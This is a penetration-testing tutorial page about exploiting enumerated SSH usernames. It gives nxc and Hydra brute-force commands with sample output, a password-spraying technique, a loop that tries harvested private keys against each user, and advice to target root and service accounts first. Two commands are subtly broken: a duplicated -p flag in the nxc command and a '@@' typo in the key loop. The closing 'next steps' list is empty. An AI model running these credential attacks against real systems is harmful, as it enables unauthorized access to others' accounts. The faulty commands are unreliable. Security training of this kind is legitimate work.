Skip to content
HackIndex logo

HackIndex

SSH User Enumeration Exploitation

3 min read Jul 10, 2026

After confirming valid usernames via timing-based enumeration on OpenSSH below 7.7, the next step is using that list to drive targeted credential attacks. Generic spraying against all possible users is noisier and slower than attacking only confirmed accounts. This page covers turning the enumeration output into access.

The username list comes from SSH User Enumeration. Run that first and save the confirmed users to a file before continuing here.

Targeted Password Attack with nxc

nxc handles SSH credential testing cleanly and reports success immediately:

┌──(kali㉿kali)-[~]
└─$ nxc ssh $TARGET_IP -p $PORT -u /tmp/valid_users.txt -p /usr/share/seclists/Passwords/Common-Credentials/top-passwords-shortlist.txt 
SSH   10.10.10.5   22   10.10.10.5   [+] git:git123 (Pwn3d!)
SSH   10.10.10.5   22   10.10.10.5   [-] root:password

[+] with (Pwn3d!) confirms shell access. Stop testing that user and connect directly:

┌──(kali㉿kali)-[~]
└─$ ssh git@$TARGET_IP

Targeted Password Attack with Hydra

For more control over threading and rate limiting:

┌──(kali㉿kali)-[~]
└─$ hydra -L /tmp/valid_users.txt -P /usr/share/seclists/Passwords/Common-Credentials/top-passwords-shortlist.txt -t 4 -s $PORT ssh://$TARGET_IP

-t 4 limits to four threads. Keep this low — aggressive threading against SSH triggers fail2ban on most real systems. On lab targets without lockout, raise it if speed matters.

Priority Accounts to Attack First

Not all confirmed users are equal. Order your attacks by likely impact:

root first if password authentication is enabled — confirmed root access skips privilege escalation entirely.

Service accounts second (www-data, git, postgres, deploy, jenkins) — these often have weak or default passwords and the same credentials may reuse across services.

Standard user accounts last — lowest privilege, but may have reused passwords that work elsewhere.

Spray One Password Across All Users

A single common password across all confirmed users is faster and quieter than a full matrix. Useful when you suspect a site-wide default or a leaked credential:

┌──(kali㉿kali)-[~]
└─$ nxc ssh $TARGET_IP -p $PORT -u /tmp/valid_users.txt -p 'Password123!'

Wait for results, then try the next candidate. This minimises authentication volume per account and avoids lockouts on systems with per-user thresholds.

Test Harvested Keys Against Confirmed Users

If you recovered private key files from elsewhere in the environment, test each key against every confirmed username:

for user in $(cat /tmp/valid_users.txt); do
  for key in /tmp/keys/*; do
    chmod 600 "$key"
    result=$(ssh -i "$key" -o BatchMode=yes -o StrictHostKeyChecking=no -o ConnectTimeout=3 $user@@$TARGET_IP "id" 2>/dev/null)
    if [ -n "$result" ]; then
      echo "KEY $key USER $user: $result"
    fi
  done
done

A single key reused across multiple servers is common in environments with shared deployment keys. Confirmed usernames make this sweep precise rather than speculative.

What Comes Next

A confirmed credential or working key gives you an SSH session. Depending on what the account can do, continue with:

References